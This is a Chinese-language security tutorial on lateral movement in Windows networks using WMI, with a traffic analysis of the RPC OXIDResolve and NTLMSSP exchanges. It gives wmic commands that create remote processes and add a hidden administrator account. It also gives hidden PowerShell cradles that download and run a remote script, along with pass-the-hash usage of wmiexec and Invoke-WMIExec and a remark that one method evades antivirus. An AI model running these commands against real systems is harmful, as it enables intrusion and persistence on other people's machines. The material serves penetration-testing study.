利用WMI进行横向移动
概述
WMI为Windows在power shell未发布之前,微软用于管理Windows系统的数据库工具,WMI本身的架构就是一个数据库架构,WMI服务使用DCOM或者WinRM协议。
在使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中,因此很多APT组织都使用WMI进行攻击。
相关命令
命令 | 作用 | |
---|---|---|
wmic nicconfig get ipaddress,macaddress | 查看系统中网卡的IP地址和MAC地址 | |
wmic ntdomain list brief | 域控机器 | |
wmic useraccount list brief | 用户列表 | |
wmic share get name,path | 查看系统共享 | |
wmic service list brief\ | more | 服务列表 |
wmic start list full | 识别开机启动的程序,包括路径 | |
wmic fsdir "c:\test" call delete | 删除C盘下的test目录 | |
wmic nteventlog get path,filename,writeable | 查看系统中开启的日志 | |
...... | ...... |
其他操作命令
1、执行命令并且进行输出
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
2、列出远程主机的进程
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process list brief
3、在远程计算机中执行BAT脚本
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3d4.. /add && net localgroup administrators test /add"
5、执行powershell脚本上线
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('PS脚本地址'))\""
RPC协议
DCERPC为Windows系统中非常基础的通信协议,DCERPC比RDP协议更为普遍,默认为开启状态,内容丰富,接口众多。
DCERPC协议的默认端口为135
RPC协议-OXIDResolve接口 流量分析
使用的wmic命令为
wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c ipconfig >c:\ip.txt"
第一个数据包分析,该数据包表明利用了RPC协议调用的接口为OXIDResolve
第二个数据包分析,目标机器返回的数据包中包含了确认信息
第三个数据包分析,利用dcom发起OXID接口的请求数据包
第四个数据包分析,OXID接口返回的数据,包含了工作组名字、域名、IP地址、IPV6地址等等
RPC协议-OXIDResolve接口规则
1、该接口的访问是未授权的(并没有进行认证,只要使用RPC调用OXID接口即可)
2、该接口可以得到目标机器的相关机器信息(机器名、IP地址、网卡等信息)
课外阅读:https://nosec.org/home/detail/4709.html 与 https://github.com/komomon/Dcerpc_Find_OSInfo/blob/main/Dcerpc_Find_OSInfo.py
RPC协议-NTLMSSP
ntlmssp服务主要针对RPC(远程过程调用),RPC有两种通信方式可以选择。一种为传输协议(TCP/IP、UDP等),第二种为命名管道(pipeline)。
通常情况下Windows默认都会选择传输协议,而由于RPC协议采用非加密传输 ,通信双方数据无法保证安全,而ntlmssp就是为此类RPC提供安全服务。
分析第一个数据包,包含认证方式等信息
分析第二个数据包,由于该接口是远程调用接口,故需要进行认证。这里使用的是NTLM挑战响应认证,数据包为challenge值,且包含自己主机相关信息(包含了域名、机器名、DNS域名等信息)
第三个数据包分析,response值,用于认证
第四个数据包分析,认证成功之后接着远程调用isystem mactivator接口,remotecreateinstance函数作用为实际对象创建对象引用。
WMI横向利用条件
1、wmic命令需要本地管理员或者域管理员权限(有UAC权限的用户也可以)
2、端口135、445开放(部分脚本需要借助SMB认证)
利用WMI横向进行上线
1、利用机器自带wmic的命名(建议使用,自带的命令没有使用其它协议认证,也没有连接共享,不依赖于默认共享,并且可以过杀软)
wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"
wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add"
192.168.110.7
192.168.110.8
执行powershell上线
wmic /node:IP地址 /user:本地管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('ps脚本地址'))\""
2、wmiexec工具
由于该工具会走SMB认证和访问共享等行为,一般情况下杀软会进行拦截
相关命令格式:
wmiexec.exe <域名/>用户名:密码@目标IP地址 #希传递获得shell
wmiexec.exe <域名/>用户名:密码@目标IP地址 "ipconfig" #执行ipconfig这条命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址 #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址 #执行ipconfig这条命令
3、wmiexec.vbs脚本通过VBS调用WMI模拟psexec的功能,可以在远程系统中执行命令并且进行回显,获得远程主机的半交互式shell。
wmiexec.vbs支持两种模式,一种是半交互式shell模式,一种是执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd IP地址 用户名 密码 "执行的命令"
例如:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.110.8 administrator a1b2c3.. "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('powershell脚本地址'))\""
4、Invoke-WMIexec脚本
用法:
Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target IP地址 -Domain 域名 -Username 用户名 -Hash hash值 -Command "执行的命令" -verbose
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论